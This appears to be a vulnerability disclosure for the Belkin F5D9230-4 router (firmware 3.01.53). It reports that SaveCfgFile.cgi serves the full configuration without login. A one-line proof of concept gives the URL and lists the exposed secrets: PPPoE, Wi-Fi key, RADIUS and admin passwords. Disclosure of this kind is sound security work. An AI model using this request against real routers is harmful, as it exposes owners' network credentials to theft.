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## VULNERABILITY:
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##  Belkin Wireless G Plus MIMO Router F5D9230-4
##  Authentication Bypass Vulnerability
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## AUTHOR:
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##  DarkFig < gmdarkfig (at) gmail (dot) com >
##  http://acid-root.new.fr/?0:17
##  #acidroot@irc.worldnet.net
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## INTRODUCTION:
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##  I recently bought this router for my local
##  network (without modem integrated), now I can tell
##  that it was a bad choice. When my ISP disconnects
##  me from internet, in the most case I have to reboot
##  my Modem and the Router in order to reconnect.
##  So I coded a program (which send http packets) to reboot
##  my router, it asks me the router password, and reboots it.
##  One day I wrote a bad password, but it worked. So I
##  decided to make some tests in order to see if there was
##  a vulnerability.
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## DESCRIPTION:
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##  Apparently when the router starts, it creates a file
##  (without content) named user.conf, then when we go to
##  SaveCfgFile.cgi, the configuration is saved to the file
##  user.conf. But the problem is that we can access to the
##  file SaveCfgFile.cgi without login.
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## PROOF OF CONCEPT:
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##  For example we can get the configuration file here:
##  http://<ROUTER_IP>/SaveCfgFile.cgi
## 
##  pppoe_username=...
##  pppoe_password=...
##  wl0_pskkey=...
##  wl0_key1=...
##  mradius_password=...
##  mradius_secret=...
##  httpd_password=...
##  http_passwd=...
##  pppoe_passwd=...
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##
##  Tested on the latest firmware for this product
##  (version 3.01.53). 
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## PATCH:
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##  Actually (08-01-19) there is no firmware update, but I
##  contacted the author, if they'll release a patch, it
##  will be available here:
##  http://web.belkin.com/support/download/download.asp
##  ?download=F5D9230-4&lang=1&mode=
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